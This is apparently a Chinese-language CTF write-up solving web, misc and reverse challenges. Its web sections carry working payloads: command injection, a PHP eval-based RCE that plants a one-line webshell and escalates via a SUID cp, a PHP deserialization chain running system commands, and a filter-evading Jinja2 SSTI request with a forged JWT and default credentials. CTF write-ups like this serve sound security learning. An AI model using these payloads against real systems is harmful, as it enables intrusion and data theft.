前言
整体来说,题目难度尚可,总结起来就是一句话,没有二进制大佬就是不行。
WEB 仔细ping
?ip=nl%20flag.php查看源代码即可,主要是过滤了一些命令,直接使用nl命令打开文件即可
WEB maybe
看了一眼题目,一看正则,一眼无参数命令执行,思路简单,直接取get_defined_vars,第一个元素是GET数组,取再取数组的最后一个元素,即自己提交的参数,eval之后即可执行任意命令
?a=eval(array_pop(array_shift(get_defined_vars())));&b=system(%27echo%20\%27%3C?php%20eval($_POST[a]);\%27%3E%20/var/www/html/0.php%27);
执行pwd获取绝对路径,echo写入一句话木马,写完马之后发现还需要提权,Flag文件是root权限才能读,找suid,发现cp存在s位,直接cp flag文件到到stdout即可看到内容,这也算是CTF当中使用cp命令提权获取flag的一种方式吧,无需反弹shell什么这些乱七八糟的。
WEB Pop
看题目就知道了反序列化,很简单只要根据逻辑构造链就行了。
$m=new MM();$j=new JJ();$t=new TT();
$m->c="cat /flag>/var/www/html/0.txt";
$m->name='system';
// $j->obj=$m;
$j->obj=$m;
$t->key=$j;
$n=null;
$c=array($t,$n);
var_dump(serialize($c));
将序列化出来的字符串后边的i:1;N;改成i:0;N;
反序列化读flag文件即可
原理很简单,魔法函数触发反序列化要在变量(对象)被销毁的时候才开始执行,但是我们知道PHP的生命周期,只有脚本执行完成才会回收,主要问题在于最后一行代码抛出了一个错误,这个时候是错误停止,不会触发对象销毁的魔法函数触发反序列化,解决起来其实也很简单,为什么后边序列化了一个数组,就是反序列化的时候,把我们的payload放在数组的第0个元素,然后随便放一个null到后边,但是把后边的null的下标手动改成0,这样在反序列化的时候,我们的payload的对象,会在执行反序列化到数组的第二个元素的时候,发现下标还是0,就会用null覆盖掉当前下标是0的元素,也就是我们的payload对象,被null覆盖实际上就相当于销毁对象,这样就在抛出error之前执行反序列化了。
WEB NOTERCE
还是正则过滤,还是nl打开文件,不能用>,但可以用管道符tee接收写文件
c=nl /flag |tee 0.txt
HTTP打开之后是重定向发现图片base64路径,下载图片,发现后边拼接了flag文件名
HTTP返回包提示没有n,并且n=30-10,将ffffpq.php base64放在img参数上,fuzz n参数,发现n=12(实际上n是随机的,哪怕同一个选手,重新开启环境,n也会变化)
解码base64,出现flag
WEB不太喜欢flask的开发
上来是个401的认证,根据题目提示,猜出密码:tomcat/tomcat
Jwt密钥tomcat生成jwt,search是个ssti漏洞,经过尝试发现过滤__ .等字符,最后构造POC
GET /search?flag=flag{%set%20a="cookies"%}{%set%20r="request"%}{%set%20b=request[a]["s1"]%}{{""["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fmro\x5F\x5F"][1]["\x5F\x5Fsubclasses\x5F\x5F"]()[118]["get\x5Fdata"](0,b)}} HTTP/1.1
Host: 39.106.158.47:11082
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZSwic3ViIjoiSm9lIn0.SL4_mj3PryhLlHUOV8rUhnGws8Fre0EuCUs1tXDzZLk;c=get_data(ss);s1=app.py
Connection: close
MISC time
import os
for x in range(38):
filename = "change{}.txt".format(x)
file_attr = os.stat(filename)
create_time = str(file_attr.st_mtime)
print(chr(int(create_time[7:10])),end='')
Docx改名zip解压,_rels/error.xml内容base64解码
发现PNG文件头,直接将base64内容插入HTML即可查看图片,获取flag,或者直接转成图片也行。
打开附件,19的大小显然更大,打开是个gif,其中有两帧是二维码,抽出来扫描就行了,是个百度网盘地址
此处要吐槽以下,我当时就给赛务组打电话反馈这个问题,五百多兆的附件,放在百度网盘上,严重耽误了解题时间,难道没有百度网盘会员或者网速慢的,就不配打比赛了?然而赛务组就此问题并没有任何反馈,我个人认为这是极不负责的表现。
下载附件以后
game.tar\a12553183e6feaa32744e405985000f41591bdff85f9d81967a6405196e3a71a\layer.tar\mnt\559.gif
一共四帧,每一帧都是一个二维码图片的四分之一,抽出来PS里拼一下,扫描就行
Reverse rust
并不会逆向,但是这题。。。
查看附件,Mach-O 64-bit arm64 executable
找个arm的mac运行了一下,提示数字太大或者太小,那就二分法,最终找到正确数字即可输出flag